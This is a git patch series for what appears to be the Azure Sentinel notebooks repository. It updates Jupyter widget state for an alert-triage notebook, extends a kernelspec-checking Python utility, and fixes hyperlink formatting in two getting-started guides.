"IPY_MODEL_41cf95f7f4f44295a054a8a8dc2d9222", + "style": "IPY_MODEL_fefe3e7da5ac4dbeb0bb1b1c62068099", + "value": "2019-02-13 23:07:57+00:00" + } + }, + "87ed7e7597334145b854cba3e6835c5b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "layout": "IPY_MODEL_39530a0d38e04947b7a6dd79d72e5c2f", + "style": "IPY_MODEL_f8f9bc9db5674ffc8cb57269cee97534", + "value": "

Set query time boundaries

" + } + }, + "89f7b281fdb64f90b26b5243a82defa3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "8b61bbb03ff949dfa4d5f4519bcf0a41": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query end time (UTC) : ", + "layout": "IPY_MODEL_a7d92a87b25f43eebe580ce001f19176", + "style": "IPY_MODEL_1423a053a774471f9236c4dc6c8fbede", + "value": "2019-02-13 23:17:57+00:00" + } + }, + "8bf309cac1d943149f8bba75c9a3e19c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "8c2190b39c294436802519d912fff9a9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "8d21792eefdc45f78f104501fcef4d42": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "8ec2bf60f26c41d9883386c178524801": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntSliderModel", + "state": { + "description": "# logons", + "layout": "IPY_MODEL_72133afa117b4c668caad267290965f7", + "max": 200, + "min": 1, + "style": "IPY_MODEL_1062e8c543ca48d6b2e24e24ba34148b", + "value": 1 + } + }, + "91849d0b8e1a4aa982c23d1ee4b6cfa3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SelectModel", + "state": { + "_options_labels": [ + "2019-02-12 11:48:01+00:00 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]", + "2019-02-13 22:03:42+00:00 - Suspiciously named process detected - (MSTICALERTSWIN1) - [id:2518522053771835343_649075c9-dc5d-4a75-a848-9c51f70a45ae]", + "2019-02-13 22:03:42+00:00 - Digital currency mining related behavior detected - (MSTICALERTSWIN1) - [id:2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f]", + "2019-02-13 23:07:24+00:00 - Detected the disabling of critical services - (MSTICALERTSWIN1) - [id:2518522015556924218_856f3dbd-ca72-474d-ab00-75956b161a02]", + "2019-02-13 23:07:24+00:00 - Detected potentially suspicious use of Telegram tool - (MSTICALERTSWIN1) - [id:2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a]", + "2019-02-14 11:51:38+00:00 - Security incident detected - (MSTICALERTSWIN1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]", + "2019-02-14 11:51:38+00:00 - Suspicious system process executed - () - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]", + "2019-02-14 11:51:38+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]" + ], + "description": "Select alert :", + "index": 4, + "layout": "IPY_MODEL_3402b08604a1451b9ae2a951dc36b0f8", + "style": "IPY_MODEL_5d4320e56f2a4251ace85f02ab850fb3" + } + }, + "91c7de96c2644106a8dc5d180c552920": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "92734bb437444693a58fc4be17535bf1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DatePickerModel", + "state": { + "description": "Origin Date", + "disabled": false, + "layout": "IPY_MODEL_b11c187597854fc6b20cebdf96b64cc9", + "style": "IPY_MODEL_b112815196a6473192ea01dea411f98f", + "value": { + "date": 13, + "month": 1, + "year": 2019 + } + } + }, + "9403627f1d9c474c9b2f86e95ef95776": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "9591c03130e74805952db8974c9a5324": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "97ab3216ce5241f9aef3080364f93690": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "98049b4614c0466eacb90341b66df2f4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "983bb7b93f334bd7a75f2d3f704a04d0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Time (24hr)", + "layout": "IPY_MODEL_3599232f118e4e97a4696c2d389ba46a", + "style": "IPY_MODEL_ec1f2b8d52d74b5092a980d28466aae8", + "value": "23:07:57" + } + }, + "9a10353b01e74bfe8f3f3c0b8694914c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "VBoxModel", + "state": { + "children": [ + "IPY_MODEL_464ede06603c4c03a119502881cbccbf", + "IPY_MODEL_ed7d9acbd6434e5b9ef2d3cbf2c02c7e", + "IPY_MODEL_8b61bbb03ff949dfa4d5f4519bcf0a41" + ], + "layout": "IPY_MODEL_bace2240879f4c08adf6bb2a7ce3cb63" + } + }, + "9baa15ed9a4a4c27a407756e818edb62": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_85ad8dec8f72471c81f391c4a98866b6", + "IPY_MODEL_59614e8f4b254952949e56074443eadc" + ], + "layout": "IPY_MODEL_2ec65af0ed7a4e7b90f81ed97c493d8e" + } + }, + "9c3d5280331441579e3af65a03d4a577": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "9c58b762a5b14ab7af0c591395a61e81": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "VBoxModel", + "state": { + "children": [ + "IPY_MODEL_2c9f33dd05d847f08a561ee01f617831", + "IPY_MODEL_4a8e60bbc7b24ec7a5ddf6a24f4020fc", + "IPY_MODEL_a2f8f7f9f39c490e9cbcfe4893264048" + ], + "layout": "IPY_MODEL_91c7de96c2644106a8dc5d180c552920" + } + }, + "9f832a88bfc94c6d9fcfb22af29e8c68": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "height": "200px" + } + }, + "a03de69cbbed40098ce7b2a43bf63d26": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_a95fb620c70648cba99b48aec70999cb", + "IPY_MODEL_28e149b9bc3848c2831fe549e5801edb" + ], + "layout": "IPY_MODEL_c8adce40540b461785867a0412cec127" + } + }, + "a2f8f7f9f39c490e9cbcfe4893264048": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query end time (UTC) : ", + "layout": "IPY_MODEL_d072d85204a947bb949bff4b8e5fd408", + "style": "IPY_MODEL_1217115266d24de3a46426d6fe7e9da9", + "value": "2019-02-14 18:44:07.450496" + } + }, + "a346f97b03564932b88fca7ea8667a24": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "layout": "IPY_MODEL_8d21792eefdc45f78f104501fcef4d42", + "style": "IPY_MODEL_c7c87d8c525241e9ad90b0648a175169", + "value": "

Set query time boundaries

" + } + }, + "a74e3ad6cebf4d2785ac3ebf9b1f5c6a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SelectModel", + "state": { + "_options_labels": [ + "Unknown", + "Interactive", + "Network", + "Batch", + "Service", + "Unlock", + "NetworkCleartext", + "NewCredentials", + "RemoteInteractive", + "CachedInteractive" + ], + "index": 3, + "layout": "IPY_MODEL_f5ed9d23c73b43b4854cd061f0d2bead", + "style": "IPY_MODEL_4cb5d9cf7ec94599996be74cdfb5a03f" + } + }, + "a7d92a87b25f43eebe580ce001f19176": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "a95fb620c70648cba99b48aec70999cb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SelectModel", + "state": { + "_options_labels": [ + "Unknown", + "Interactive", + "Network", + "Batch", + "Service", + "Unlock", + "NetworkCleartext", + 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"IPY_MODEL_b821d2a46f91419bbadb051cf2555d28", + "value": [ + -5, + 1 + ] + } + }, + "ac48f43ee031499f9dc098351287bfee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "ad30f02e5be144869bc4cbc2c9404872": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_7b09991e981b4bd9979b981b239472b4", + "IPY_MODEL_530b4a7d8cfe4257ad77f516ac71539f" + ], + "layout": "IPY_MODEL_28600d4ba1fd4b1db9f08a9165eb2364" + } + }, + "afb828862b7e4ea8b48676749487c6ec": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "b0322b0b15f04a7a9b6e890191a77157": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + 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Set query time boundaries

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Set query time boundaries

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"min": -72, - "style": "IPY_MODEL_47f9236d67b14656a4db8ad51fe0bdcf", + "min": -20, + "style": "IPY_MODEL_ca561f3c411c40fe95e40324bcb5d8d4", "value": [ - -24, - 1 + -1, + 0 ] } + }, + "f5ed9d23c73b43b4854cd061f0d2bead": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "height": "200px" + } + }, + "f64df59961f046f2817f69765ad6f0c0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query start time (UTC):", + "layout": "IPY_MODEL_3213f718be9e47e7af371188a3add605", + "style": "IPY_MODEL_e4afaeb60b2d45018345a876ce65d533", + "value": "2019-02-08 23:07:57+00:00" + } + }, + "f89dce84faaf41a7b58bb92b4bbdeb79": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query end time (UTC) : ", + "layout": "IPY_MODEL_e1780fc24e7340e38b37d394d9fa6608", + "style": "IPY_MODEL_302e44f154f348688c72a12eb9f46cf6", + "value": "2019-02-14 23:07:57+00:00" + } + }, + "f8f9bc9db5674ffc8cb57269cee97534": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "fb3845eeadc143c08b2400bbb49a0332": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_a74e3ad6cebf4d2785ac3ebf9b1f5c6a", + "IPY_MODEL_1fb3f1833d37435ab65acef70c6e12dd" + ], + "layout": "IPY_MODEL_15fc90476e314cc489df7c7bfc019590" + } + }, + "fefe3e7da5ac4dbeb0bb1b1c62068099": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } } }, "version_major": 2, diff --git a/Guided Triage - Alerts.ipynb b/Guided Triage - Alerts.ipynb index f5d12817..e2e84870 100644 --- a/Guided Triage - Alerts.ipynb +++ b/Guided Triage - Alerts.ipynb @@ -650,7 +650,7 @@ "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.7" - },, + }, "latex_envs": { "LaTeX_envs_menu_present": true, "autoclose": false, diff --git a/utils/check_nb_kernel.py b/utils/check_nb_kernel.py index c0aaba8a..bfbba57e 100644 --- a/utils/check_nb_kernel.py +++ b/utils/check_nb_kernel.py @@ -4,6 +4,7 @@ PY36_KERNEL = {"name": ["python36", "python3"], "display_name": ["Python 3.6", "Python 3"], 'language': 'python'} +IP_KERNEL_SPEC = {"python36": {"name": "python36", "display_name": "Python 3.6", "language": "python"} def check_notebooks(nb_path): @@ -12,10 +13,33 @@ def check_notebooks(nb_path): for nb_path in notebooks: if ".ipynb_checkpoints" in str(nb_path): continue + print(str(nb_path)) + print("-" * len(str(nb_path))) nb = nbformat.read(str(nb_path), as_version=4.0) kernelspec = nb.get("metadata", {}).get("kernelspec", None) + nb_ok = True + for config in PY36_KERNEL: + if not kernelspec: + print("no kernel information.") + if not kernelspec[config] in PY36_KERNEL[config]: + print("Incorrect value in", config, end=". ") + print(f"Should be: '{PY36_KERNEL[config]}' Found:'{kernelspec[config]}'") + nb_ok = False + if nb_ok: + print(f"{kernelspec['name']} ok") + else: + print() + +def set_kernelspec(nb_path): + notebooks = Path(nb_path).glob("**/*.ipynb") + + for nb_path in notebooks: + if ".ipynb_checkpoints" in str(nb_path): + continue print(str(nb_path)) print("-" * len(str(nb_path))) + nb = nbformat.read(str(nb_path), as_version=4.0) + kernelspec = nb.get("metadata", {}).get("kernelspec", None) nb_ok = True for config in PY36_KERNEL: if not kernelspec: @@ -25,10 +49,9 @@ def check_notebooks(nb_path): print(f"Should be: '{PY36_KERNEL[config]}' Found:'{kernelspec[config]}'") nb_ok = False if nb_ok: - print(f"{kernelspec['name']} ok")) + print(f"{kernelspec['name']} ok") else: print() - def _add_script_args(): parser = argparse.ArgumentParser(description="Notebook kernelspec checker.") From 7298a880d5a9c22464d8be050e1936df20c8a6a8 Mon Sep 17 00:00:00 2001 From: Ashwin Patil Date: Fri, 26 Jun 2020 19:36:11 +0000 Subject: [PATCH 12/23] stripping quotes from hyperlinks and typo fixes --- ...uide For Azure Sentinel ML Notebooks.ipynb | 124 ++++++++++------ ...d Guide For Azure Sentinel Notebooks.ipynb | 135 ++++++++++++------ 2 files changed, 168 insertions(+), 91 deletions(-) diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb index 85ed7f2b..0b7d95be 100644 --- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb +++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb @@ -25,7 +25,7 @@ "\n", "**Note:**\n", "This notebooks uses SigninLogs from your Azure Sentinel Workspace. If you are not yet collecting SigninLogs configure this connector in the Azure Sentinel portal before running this notebook.\n", - "This notebook also uses the VirusTotal API for data enrichment, for this you will require an API key which can be obtained by signing up for a free [VirusTotal community account](\"https://www.virustotal.com/gui/join-us\")\n" + "This notebook also uses the VirusTotal API for data enrichment, for this you will require an API key which can be obtained by signing up for a free [VirusTotal community account](https://www.virustotal.com/gui/join-us)\n" ] }, { @@ -39,8 +39,8 @@ "The name, Jupyter, comes from the core supported programming languages that it supports: Julia, Python, and R. Whilst you can use any of these languages we are going to use Python in this notebook, in addition the notebooks that come with Azure Sentinel are all written in Python. Whilst there are pros, and cons to each language Python is a well-established language that has a large number of materials and libraries well suited for data analysis and security investigation, making it ideal for our needs.\n", "\n", "### Learn more:\n", - " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/introduction.html\") has more details on the technical working of Jupyter.\n", - " - [The Jupyter Project documentation](\"https://jupyter.org/documentation\")\n", + " - The [Infosec Jupyter Book](https://infosecjupyterbook.com/introduction.html) has more details on the technical working of Jupyter.\n", + " - [The Jupyter Project documentation](https://jupyter.org/documentation)\n", "\n", "---\n", "## How to use a Jupyter notebook?\n", @@ -108,8 +108,8 @@ "metadata": {}, "source": [ "### Learn More : \n", - " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/\") provides an infosec specific intro to Python.\n", - " - [Real Pyhton](\"https://realpython.com/\") is a comprehensive set of Python learnings and tutorials.\n", + " - The [Infosec Jupyter Book](https://infosecjupyterbook.com/) provides an infosec specific intro to Python.\n", + " - [Real Python](https://realpython.com/) is a comprehensive set of Python learnings and tutorials.\n", "
\n", "
" ] @@ -217,14 +217,14 @@ "\n", "The first is the Workspace ID and Tenant ID of the Azure Sentinel Workspace you wish to connect to.\n", "\n", - " - You can get the workspace ID by opening Azure Sentinel in the [Azure Portal](\"https://portal.azure.com\") and selecting Settings > Workspace Settings. Your Workspace ID is displayed near the top of this page.\n", + " - You can get the workspace ID by opening Azure Sentinel in the [Azure Portal](https://portal.azure.com) and selecting Settings > Workspace Settings. Your Workspace ID is displayed near the top of this page.\n", "\n", - "- You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](\"https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id\")\n", + "- You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id)\n", "\n", - "We are going to use [VirusTotal](\"https://www.virustotal.com\") to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](\"https://developers.virustotal.com/v3.0/reference#getting-started\") website.\n", + "We are going to use [VirusTotal](\"https://www.virustotal.com\") to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](https://developers.virustotal.com/v3.0/reference#getting-started) website.\n", "We are using VirusTotal for this notebook but we also support a range of other threat intelligence providers: https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\n", "

\n", - "In addition we are going to plot IP address locations on a map, in order to do this we are going to use [MaxMind](\"https://www.maxmind.com\") to geolocate IP addresses which requires an API key. You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup. \n", + "In addition we are going to plot IP address locations on a map, in order to do this we are going to use [MaxMind](https://www.maxmind.com) to geolocate IP addresses which requires an API key. You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup. \n", "

\n", "Once you have these required items run the cell below and you will prompted to enter these elements:" ] @@ -315,7 +315,7 @@ "You can use the `QueryProvider` class to connect to different data sources such as MDATP, the Security Graph API, and the one we will use here, Azure Sentinel. \n", "\n", "### Learn more:\n", - " - More details on configuring and using QueryProviders can be found in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#instantiating-a-query-provider\").\n", + " - More details on configuring and using QueryProviders can be found in the [MSTICpy Documentation](https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#instantiating-a-query-provider).\n", "

" ] }, @@ -323,7 +323,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "For now, we are going to set up a QueryProvider for Azure Sentinel, pass it the details for our workspace that we just stored in the msticpyconfig file, and connect. The connection process will ask us to authenticate to our Azure Sentinel workspace via [device authorization](\"https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code\") with our Azure credentials. You can do this by clicking the device login code button that appears as the output of the next cell, or by navigating to https://microsoft.com/devicelogin and manually entering the code. Note that this authentication persists with the kernel you are using with the notebook, so if you restart the kernel you will need to re-authenticate.\n" + "For now, we are going to set up a QueryProvider for Azure Sentinel, pass it the details for our workspace that we just stored in the msticpyconfig file, and connect. The connection process will ask us to authenticate to our Azure Sentinel workspace via [device authorization](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code) with our Azure credentials. You can do this by clicking the device login code button that appears as the output of the next cell, or by navigating to https://microsoft.com/devicelogin and manually entering the code. Note that this authentication persists with the kernel you are using with the notebook, so if you restart the kernel you will need to re-authenticate.\n" ] }, { @@ -422,7 +422,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "Another way to run queries is to pass a string format of a KQL query to the query provider, this will run the query against the workspace connected to above, and will return the data in a [Pandas DataFrame](\"https://pandas.pydata.org/\"). We will look at working with Pandas in a bit more detail later." + "Another way to run queries is to pass a string format of a KQL query to the query provider, this will run the query against the workspace connected to above, and will return the data in a [Pandas DataFrame](https://pandas.pydata.org/). We will look at working with Pandas in a bit more detail later." ] }, { @@ -458,7 +458,7 @@ "metadata": {}, "source": [ "### Learn more:\n", - " - You can learn more about the MSTICpy pre-defined queries in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#running-an-pre-defined-queryl\")" + " - You can learn more about the MSTICpy pre-defined queries in the [MSTICpy Documentation](https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#running-an-pre-defined-query)" ] }, { @@ -595,9 +595,9 @@ "source": [ "### Learn more:\n", "There is a lot more you can do with Pandas, the links below provide some useful resources:\n", - " - [Getting starting with Pandas](\"https://pandas.pydata.org/pandas-docs/stable/getting_started/index.html\")\n", - " - [Infosec Jupyerbook intro to Pandas](\"https://infosecjupyterbook.com/notebooks/tutorials/03_intro_to_pandas.html\")\n", - " - [A great list of Pandas hints and tricks](\"https://www.dataschool.io/python-pandas-tips-and-tricks/\")" + " - [Getting starting with Pandas](https://pandas.pydata.org/pandas-docs/stable/getting_started/index.html)\n", + " - [Infosec Jupyerbook intro to Pandas](https://infosecjupyterbook.com/notebooks/tutorials/03_intro_to_pandas.html)\n", + " - [A great list of Pandas hints and tricks](https://www.dataschool.io/python-pandas-tips-and-tricks/)" ] }, { @@ -642,7 +642,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "Using the [Pandas apply()](\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.apply.html\") feature we can get results for all the IP addresses in our data set and add the lookup severity score as a new column in our DataFrame for easier reference." + "Using the [Pandas apply()](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.apply.html) feature we can get results for all the IP addresses in our data set and add the lookup severity score as a new column in our DataFrame for easier reference." ] }, { @@ -671,7 +671,7 @@ "metadata": {}, "source": [ "### Learn more:\n", - "MSTICpy includes further threat intelligence capabilities as well as other data enrichment options. More details on these can be found in the [documentation](\"https://msticpy.readthedocs.io/en/latest/DataEnrichment.html\")." + "MSTICpy includes further threat intelligence capabilities as well as other data enrichment options. More details on these can be found in the [documentation](https://msticpy.readthedocs.io/en/latest/DataEnrichment.html)." ] }, { @@ -728,8 +728,8 @@ "source": [ "### Learn more:\n", "There are a wide range of options when it comes to data analysis in notebooks using Python. Here are some useful resources to get you started:\n", - " - [MSITCpy DataAnalysis documentation](\"https://msticpy.readthedocs.io/en/latest/DataAnalysis.html\")\n", - " - Scikit-Learn is a popular Python ML data analysis library, which has a useful [tutorial](\"https://scikit-learn.org/stable/tutorial/basic/tutorial.html\")" + " - [MSITCpy DataAnalysis documentation](https://msticpy.readthedocs.io/en/latest/DataAnalysis.html)\n", + " - Scikit-Learn is a popular Python ML data analysis library, which has a useful [tutorial](https://scikit-learn.org/stable/tutorial/basic/tutorial.html)" ] }, { @@ -787,10 +787,10 @@ "metadata": {}, "source": [ "### Learn more:\n", - " - The [Infosec Jupyterbook](\"https://infosecjupyterbook.com/\") includes a section on data visualization.\n", - " - [Bokeh Library Documentation](\"https://bokeh.org/\")\n", - " - [Matplotlib tutorial](\"https://matplotlib.org/3.2.0/tutorials/index.html\")\n", - " - [Seaborn visualization library tutorial](\"https://seaborn.pydata.org/tutorial.html\")" + " - The [Infosec Jupyterbook](https://infosecjupyterbook.com/) includes a section on data visualization.\n", + " - [Bokeh Library Documentation](https://bokeh.org/)\n", + " - [Matplotlib tutorial](https://matplotlib.org/3.2.0/tutorials/index.html)\n", + " - [Seaborn visualization library tutorial](https://seaborn.pydata.org/tutorial.html)" ] }, { @@ -801,31 +801,25 @@ "## Conclusion\n", "This notebook has showed you the basics of using notebooks and Azure Sentinel for security investigaitons. There are many more things possible using notebooks and it is stronly encouraged to read the material we have referenced in the learn more sections in this notebook. You can also explore the other Azure Sentinel notebooks in order to take advantage of the pre-built hunting logic, and understand other analysis techniques that are possible.
\n", "### Appendix:\n", - " - [Jupyter Notebooks: An Introduction](\"https://realpython.com/jupyter-notebook-introduction/\")\n", - " - [Threat Hunting in the cloud with Azure Notebooks](\"https://medium.com/@maarten.goet/threat-hunting-in-the-cloud-with-azure-notebooks-supercharge-your-hunting-skills-using-jupyter-8d69218e7ca0\")\n", - " - [MSTICpy documentation](\"https://msticpy.readthedocs.io/\")\n", - " - [Azure Sentinel Notebooks documentation](\"https://docs.microsoft.com/en-us/azure/sentinel/notebooks\")\n", - " - [The Infosec Jupyterbook](\"https://infosecjupyterbook.com/introduction.html\")\n", - " - [Linux Host Explorer Notebook walkthrough](\"https://techcommunity.microsoft.com/t5/azure-sentinel/explorer-notebook-series-the-linux-host-explorer/ba-p/1138273\")\n", - " - [Why use Jupyter for Security Investigations](\"https://techcommunity.microsoft.com/t5/azure-sentinel/why-use-jupyter-for-security-investigations/ba-p/475729\")\n", - " - [Security Investigtions with Azure Sentinel & Notebooks](\"https://techcommunity.microsoft.com/t5/azure-sentinel/security-investigation-with-azure-sentinel-and-jupyter-notebooks/ba-p/432921\")\n", - " - [Pandas Documentation](\"https://pandas.pydata.org/pandas-docs/stable/user_guide/index.html\")\n", - " - [Bokeh Documentation](\"https://docs.bokeh.org/en/latest/\")" + " - [Jupyter Notebooks: An Introduction](https://realpython.com/jupyter-notebook-introduction/)\n", + " - [Threat Hunting in the cloud with Azure Notebooks](https://medium.com/@maarten.goet/threat-hunting-in-the-cloud-with-azure-notebooks-supercharge-your-hunting-skills-using-jupyter-8d69218e7ca0)\n", + " - [MSTICpy documentation](https://msticpy.readthedocs.io/)\n", + " - [Azure Sentinel Notebooks documentation](https://docs.microsoft.com/en-us/azure/sentinel/notebooks)\n", + " - [The Infosec Jupyterbook](https://infosecjupyterbook.com/introduction.html)\n", + " - [Linux Host Explorer Notebook walkthrough](https://techcommunity.microsoft.com/t5/azure-sentinel/explorer-notebook-series-the-linux-host-explorer/ba-p/1138273)\n", + " - [Why use Jupyter for Security Investigations](https://techcommunity.microsoft.com/t5/azure-sentinel/why-use-jupyter-for-security-investigations/ba-p/475729)\n", + " - [Security Investigtions with Azure Sentinel & Notebooks](https://techcommunity.microsoft.com/t5/azure-sentinel/security-investigation-with-azure-sentinel-and-jupyter-notebooks/ba-p/432921)\n", + " - [Pandas Documentation](https://pandas.pydata.org/pandas-docs/stable/user_guide/index.html)\n", + " - [Bokeh Documentation](https://docs.bokeh.org/en/latest/)" ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [] } ], "metadata": { + "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python 3", "language": "python", - "name": "python36" + "name": "python3" }, "language_info": { "codemirror_mode": { @@ -837,7 +831,49 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.8.3" + "version": "3.7.6" + }, + "toc": { + "base_numbering": 1, + "nav_menu": {}, + "number_sections": true, + "sideBar": true, + "skip_h1_title": false, + "title_cell": "Table of Contents", + "title_sidebar": "Contents", + "toc_cell": false, + "toc_position": {}, + "toc_section_display": true, + "toc_window_display": false + }, + "varInspector": { + "cols": { + "lenName": 16, + "lenType": 16, + "lenVar": 40 + }, + "kernels_config": { + "python": { + "delete_cmd_postfix": "", + "delete_cmd_prefix": "del ", + "library": "var_list.py", + "varRefreshCmd": "print(var_dic_list())" + }, + "r": { + "delete_cmd_postfix": ") ", + "delete_cmd_prefix": "rm(", + "library": "var_list.r", + "varRefreshCmd": "cat(var_dic_list()) " + } + }, + "types_to_exclude": [ + "module", + "function", + "builtin_function_or_method", + "instance", + "_Feature" + ], + "window_display": false }, "widgets": { "application/vnd.jupyter.widget-state+json": { diff --git a/A Getting Started Guide For Azure Sentinel Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel Notebooks.ipynb index ab983137..c0ed4ced 100644 --- a/A Getting Started Guide For Azure Sentinel Notebooks.ipynb +++ b/A Getting Started Guide For Azure Sentinel Notebooks.ipynb @@ -25,7 +25,7 @@ "\n", "**Note:**\n", "This notebooks uses SigninLogs from your Azure Sentinel Workspace. If you are not yet collecting SigninLogs configure this connector in the Azure Sentinel portal before running this notebook.\n", - "This notebook also uses the VirusTotal API for data enrichment, for this you will require an API key which can be obtained by signing up for a free [VirusTotal community account](\"https://www.virustotal.com/gui/join-us\")\n" + "This notebook also uses the VirusTotal API for data enrichment, for this you will require an API key which can be obtained by signing up for a free [VirusTotal community account](https://www.virustotal.com/gui/join-us)\n" ] }, { @@ -39,8 +39,8 @@ "The name, Jupyter, comes from the core supported programming languages that it supports: Julia, Python, and R. Whilst you can use any of these languages we are going to use Python in this notebook, in addition the notebooks that come with Azure Sentinel are all written in Python. Whilst there are pros, and cons to each language Python is a well-established language that has a large number of materials and libraries well suited for data analysis and security investigation, making it ideal for our needs.\n", "\n", "### Learn more:\n", - " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/introduction.html\") has more details on the technical working of Jupyter.\n", - " - [The Jupyter Project documentation](\"https://jupyter.org/documentation\")\n", + " - The [Infosec Jupyter Book](https://infosecjupyterbook.com/introduction.html) has more details on the technical working of Jupyter.\n", + " - [The Jupyter Project documentation](https://jupyter.org/documentation)\n", "\n", "---\n", "## How to use a Jupyter notebook?\n", @@ -108,8 +108,8 @@ 